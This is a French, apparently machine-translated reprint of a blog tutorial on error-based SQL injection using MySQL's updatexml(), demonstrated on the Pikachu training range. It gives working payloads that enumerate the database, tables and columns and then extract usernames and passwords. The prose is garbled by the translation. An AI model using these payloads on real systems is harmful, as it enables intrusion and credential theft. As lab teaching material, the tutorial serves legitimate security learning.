La position actuelle:Accueil du site>Explication détaillée de l'injection aveugle d'erreur SQL

Explication détaillée de l'injection aveugle d'erreur SQL

2022-07-23 17:17:23Toujours un adolescent.

Continuez à vous présenter aujourd'huiLinuxConnaissance de l'exploitation et de l'entretien,Le contenu principal de cet article estSQLExplication détaillée de l'injection aveugle pour la Déclaration des erreurs.

Disclaimer:
Le contenu de cet article n'est utilisé qu'à des fins d'apprentissage et de communication.,Il est strictement interdit d'utiliser la technologie du texte pour commettre des actes illégaux.,Sinon, vous en subirez les conséquences.!
Encore une fois,:Les essais de pénétration des équipements non autorisés sont strictement interdits.!

Un.、SQLExplication détaillée de la fonction de déclaration des erreurs

updatexml();floor();extractvalue();Les fonctions équivalentes peuvent être utilisées pour construireSQLFonction d'erreur,Aujourd'hui, nous allons principalement expliquer l'utilisationupdatexml()Fonctions.
updatexml()La fonction utilise le format suivant:

updatexml(XML_document,XPath_string,new_value)

XML_document- Oui.StringFormatXMLNom du document,XPath_string- Oui.XPathChaîne formatée,new_value- Oui.StringChaîne formatée,Utilisé pour remplacer les données qualifiées trouvées.
Cette fonction a une propriété,C'est - à - dire siXPath_stringNon, pas du tout.XPathChaîne formatée,Une erreur est signalée et affichéeXPathValeur de,Donc,,Nous pouvons utiliser cette fonctionnalité pour réaliserSQLErreur d'injection aveugle.En outre,Nous pouvons également utiliserupdatexml()Propriétés de la fonction,Mise en œuvreSQLInsérer、Supprimer leSQLInjection.

2.、SQLErreur d'injection aveuglepayloadStructure

1、updatexml Construction de phrases pensée
updatexml()Construction de fonctions, Il faut d'abord fermer SQLDeux points dans l'énoncé、Parenthèses. Ensuite, il faut utiliser andOuor Les déclarations sont reliées en une seule déclaration , Cela permettra d'exécuter avec succès updatexml()Déclarations en fonction.
En bas, J'ai pris comme exemple le champ de tir de picaccio ,Voici une brève introductionupdatexmlInjection d’erreurpayload Idées de construction ,Pikachu rangeSQL insert/update La page d'injection de type est la suivante :
Insérer la description de l'image ici
Comme le montre la figure ci - dessus,, Cette page est fonctionnellement l'inscription du fournisseur , On peut donc supposer que son intérieur est insertTypeSQLDéclarations, Pour qu'on puisse passer au téléphone 、 Adresse, etc. ( En général, ne choisissez pas de mot de passe , Parce que beaucoup de sites Web font des mots de passe md5Traitement, Ce qui a conduit à notre updatexmlÉchec) Insérer notre updatexmlDéclarations. Des expériences simples permettent de savoir , L'injection de ce site est fermée en guillemets simples ,Donc,payload Le format de construction est :

12' or updatexml() or'

2、Interroger la base de données actuelle
Quand nous sommes sûrsupdatexml() Après le formatage de la fonction , On pourrait écrire sur la réalité payloadLa déclaration est, Les commandes pertinentes sont les suivantes :

12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'

De haut en baspayloadComme vous pouvez le voir,,updatexml() La fonction se compose de trois parties , Nous devons faire ce que nous allons faire SQL La déclaration est écrite dans la deuxième partie ,La deuxième partie est uneconcat()Fonctions, La raison pour laquelle les raccords 0x7eC'est parce que16 Le caractère décimal est une ligne ondulée , Peut également être remplacé par d'autres caractères .
LepayloadLes résultats sont les suivants::
Insérer la description de l'image ici
Comme le montre la figure ci - dessus, Notre base de données actuelle s'appelle pikachu.
3、Nom de la table de requête
Pour interroger le nom de la table payloadComme suit:

12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '

Au - dessus depayloadMoyenne,concatIntermédiaireSQL L'énoncé doit être entre parenthèses , Puis écrivez la commande de requête normale ,LepayloadLes résultats sont les suivants::
Insérer la description de l'image ici
Comme le montre la figure ci - dessus, Nous avons vérifié qu'il y avait un nom dans la base de données actuelle httpinfoTableau,Si on changelimitLimites, Alors on peut avoir plus de montres .
4、Nom de la colonne de requête
Pour interroger les noms de colonnes payloadComme suit:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '

Lepayload Le principe de construction est similaire à ce qui précède ,Les résultats sont les suivants::
Insérer la description de l'image ici
5、Nom du champ de requête
Nom du champ demandé payloadComme suit:

12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '

Lepayload Le principe de construction est similaire à ce qui précède ,Les résultats sont les suivants::
Insérer la description de l'image ici
6、Recherche de données
Requête de données payloadComme suit:

12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '

Lepayload Le principe de construction est similaire à ce qui précède ,Les résultats sont les suivants::
Insérer la description de l'image ici
L'originalité n'est pas facile,Réimpression Veuillez indiquer la source:https://blog.csdn.net/weixin_40228200

Mentions de copyright
Auteur de cet article [Toujours un adolescent.],Réimpression s’il vous plaît apporter le lien vers l’original, merci
https://fra.chowdera.com/2022/204/202207231417076237.html

Recommandé au hasard